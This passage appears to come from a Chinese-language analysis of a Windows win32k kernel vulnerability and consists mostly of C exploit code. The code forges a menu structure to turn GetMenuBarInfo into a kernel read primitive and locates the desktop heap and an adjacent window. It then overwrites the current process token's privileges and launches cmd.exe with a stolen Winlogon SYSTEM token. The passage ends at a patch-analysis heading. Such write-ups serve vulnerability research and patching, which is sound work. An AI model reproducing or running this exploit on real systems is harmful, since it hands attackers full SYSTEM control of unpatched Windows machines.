} MENUBARINFO, *PMENUBARINFO, *LPMENUBARINFO;
ULONG_PTR GetCurThreadObjAddr() {
HANDLE hThread = INVALID_HANDLE_VALUE;
ULONG_PTR ulAddr = 0x0;
hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId());
if (hThread != INVALID_HANDLE_VALUE){
ulAddr = (ULONG_PTR)GetTargetHandleObject(GetCurrentProcessId(), (ULONG_PTR)hThread);
CloseHandle(hThread);
return ulAddr;
}
return 0;
}
//==========================================================================
{
ULONG_PTR ulDesktopHeapBase = 0x0;
ULONG_PTR ulFakeHandle = 0xFFFF;
ULONG_PTR ulFakeRefCount[2] = { 0 };
PULONG_PTR pFakeMenu = NULL;
PULONG_PTR pFakeMenuBody = NULL;
PULONG_PTR pFakeItems = NULL;
PVOID pCurWndObj1 = NULL;
SetWindowLong(hTargetWnd, TAGWND_BODY_STYLE_OFF, 0x40c00000);
//将自定义的spmenu载入到tagWND->spmenu要调用SetWindowLongPtr中的xxxSetWindowData
//而调用xxxSetWindowData,需要tagWNDk->style包含WPCCHILD
pFakeMenu = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pFakeMenuBody = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pFakeItems = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//给各个自定义结构申请内存
SetWindowLongPtr(hTargetWnd, GWLP_ID, (LONG_PTR)pFakeMenu);
//当参数2为WS_CHILD时,我们才可以调用SetWindowLongPtr将参数3指定的地址(pFakeMenu)写入到tagWND->spmenu
SetWindowLong(hTargetWnd, TAGWND_BODY_STYLE_OFF, 0x04c00000);
// 载入spmenu后就style就不需要为0x40c00000了,style需要恢复原数据
// 构造符合正常执行GetMenuBarInfo且把pFakeItems当作读取地址的spmenu
pFakeMenu[0] = (ULONG_PTR)&ulFakeHandle;
pFakeMenu[5] = (ULONG_PTR)pFakeMenuBody; // fake body
((PULONG)(&pFakeMenuBody[5]))[1] = 0xffff; // make items count to max
((PULONG)(&pFakeMenu[8]))[0] = 1; // make menu'x to 1,这是构造正常的spmenu必须的参数
((PULONG)(&pFakeMenu[8]))[1] = 1; // make menu'y to 1,这是构造正常的spmenu必须的参数
pFakeMenu[0xb] = (ULONG_PTR)pFakeItems; // 这个就是读取的地址(详情看GetMenuBarInfo分析)
ulFakeRefCount[0] = (ULONG_PTR)pFakeMenu;
pFakeMenu[0x13] = (ULONG_PTR)&ulFakeRefCount;
//开始一步一步根据内核结构联系拿到内核桌面堆地址
{
ULONG_PTR ulAddr = 0;
ULONG_PTR ulValue = 0;
ulAddr = GetCurThreadObjAddr();
if (!ulAddr)
return -1;
pFakeItems[0] = (ULONG_PTR)(ulAddr + ETHREAD_WIN32THREAD_OFF - 0x40); // 泄露地址-0x40
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
pFakeItems[0] = (ULONG_PTR)(ulValue - 0x40);
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
pFakeItems[0] = (ULONG_PTR)(ulValue + WIN32THREAD_DESKTOP_OFF - 0x40);
ulValue = 0;
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
pFakeItems[0] = (ULONG_PTR)(ulValue + DESKTOP_HEAPBASE_OFF - 0x40);
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
ulDesktopHeapBase = ulValue; //内核桌面堆地址
}
spmenu是通过分析GetMenuBarInfo得到的与正常spmenu结构有差异的自定义spmenu,pFakeItems是需要泄露的指针,只要自定义pFakeItems,就可以将根读取到内核桌面堆地址。
寻找相邻窗口
//找相邻端口
for (ULONG ulIndex = 0x0; ulIndex < 0x30; ulIndex += 8) {
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + ulIndex - 0x40);
//两个相邻的窗口地址差是一个tagWNDK结构体大小,循环计数来偏差定位
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
//tagWNDK首地址内容是相邻窗口句柄值
if (ulValue == (ULONG_PTR)hAdjacentWnd) {
bAdjacent = TRUE;
ulTagWndBodySize += ulIndex;
break;
}
}
ulDesktopHeapBase + ulWndOffset表示目标窗口在内核层的地址
目标窗口已经将tagWND空间偏移设置为pExtraBytes,在相邻窗口可以配置进程Token空间偏移作为pExtraBytes对进程Token空间进行读写。
使用DataOnlyAttack进行提权
win10 1708之后,不仅需要修改当前进程特权,还需要调整当前token中的UserAndGroups和管理员相同,才能发生提权。
ULONG_PTR GetCurTokenObjAddr() { //获取进程的Token地址
HANDLE hProc; //进程句柄
HANDLE hToken; //进程的令牌句柄
PVOID pTokenObj;
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
OpenProcessToken(
hProc,
TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
&hToken);
pTokenObj = GetTargetHandleObject(GetCurrentProcessId(), (ULONG_PTR)hToken);
return (ULONG_PTR)pTokenObj;
//返回Token地址
}
if (bAdjacent) {
// read adjacent hwnd's flag
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF - 0x40); //这里是查看相邻窗口tagWNDk的flag的值
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
ulTokenObjAddr = GetCurTokenObjAddr();//进程的Token地址
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, (ULONG_PTR)-1); //将cbWndExtra修改到最高
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF, ulValue | 0x800); //配置相邻窗口的flag值存在0x800属性
//配置相邻窗口的flag存在0x800属性
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_VALUE_OFF, ulTokenObjAddr - ulDesktopHeapBase); //将进程token地址-内核桌面堆地址的偏移量放到相邻窗口的pExtraBytes
//配置相邻窗口的pExtraBytes为
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_EXTRA_SIZE_OFF, (ULONG_PTR)-1); //将相邻窗口的cbWndExtra修改到最高
//配置相邻窗口的cbWndExtra
// adjacent wnd can modify token's anything
SetWindowLongPtr(hAdjacentWnd, 0x40, (ULONG_PTR)-1);
SetWindowLongPtr(hAdjacentWnd, 0x48, (ULONG_PTR)-1);
SetWindowLong(hAdjacentWnd, 0x498 + 0x30, 0x7);
SetWindowLong(hAdjacentWnd, 0x498 + 0x40, 0xf);
DEBUG_BREAK();
// Restore adjacent window
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF - 0x40);
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF, ulValue & ~0x800); //删除相邻窗口的flag的0x800属性
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_VALUE_OFF, 0);
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_EXTRA_SIZE_OFF, 0x100 ); // our specified size
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, 0x100); // out specified size
}
}
创建拷贝进程token的cmd进程
BOOL GetProIDByName(PCWCHAR ImageName, ULONG_PTR* ProcIDPtr)
{
HANDLE hSnapshot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return FALSE;
pe32.dwSize = sizeof(pe32);
if (Process32First(hSnapshot, &pe32))
{
do {
if (lstrcmpi(ImageName, pe32.szExeFile) == 0)
{
CloseHandle(hSnapshot);
*ProcIDPtr = pe32.th32ProcessID;
return TRUE;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return FALSE;
}
VOID CreateEopProc() {
HANDLE hProc;
HANDLE hToken;
HANDLE hEopToken;
ULONG_PTR ulWinlogonPID = 0;
if (!GetProIDByName(L"Winlogon.exe", &ulWinlogonPID) || !ulWinlogonPID)
return;
hProc = OpenProcess(
PROCESS_QUERY_INFORMATION,
FALSE,
ulWinlogonPID );
OpenProcessToken(
hProc,
TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
&hToken);
SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
TOKEN_TYPE tokenType = TokenPrimary;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &hEopToken))
return;
/* Starts a new process with SYSTEM token */
STARTUPINFOW si = {};
PROCESS_INFORMATION pi = {};
CreateProcessWithTokenW(
hEopToken,
LOGON_NETCREDENTIALS_ONLY,
L"C:\\Windows\\System32\\cmd.exe",
NULL,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi)
恢复环境
需要还原所有使用SetWindowLong/SetWindowLongStr修改的数据
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF - 0x40); //这里是查看相邻窗口tagWNDk的flag的值
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
//这里读取相邻窗口上的flag数据(准备被删除0x800属性)
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF, ulValue & ~0x800);
//删除相邻窗口的flag的0x800属性
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_VALUE_OFF, 0);
// 将相邻窗口的扩展内存设置为0
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_EXTRA_SIZE_OFF, 0x100 );
//相邻窗口开始定义窗口的cbWndExtra
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, 0x100);
//目标窗口开始定义窗口的cbWndExtra
{
ULONG_PTR ulWndOffset = 0x0;
ULONG_PTR ulValue = 0x0;
ulWndOffset = GetWndObjOffset((ULONG_PTR)hTargetWnd);
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + TAGWND_BODY_REL_FLAG_OFF - 0x40);
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
//这里读取到目标窗口上的flag数据(准备被删除0x800属性)
SetWindowLongPtr(hTargetWnd, GWLP_ID, 0x0);
// 将目标窗口载入的Spmenu设置为0
SetWindowLong(hTargetWnd, TAGWND_BODY_STYLE_OFF, 0x04c00000);
// 将目标窗口中的style还原
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_REL_FLAG_OFF, ulValue & ~0x800);
// 将目标窗口中的flag删除0x800属性
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_REL_VALUE_OFF, 0);
// 将目标窗口的扩展内存设置为0
}
0x03 补丁分析
补丁打在了win32kfull!xxxCreateWindowEx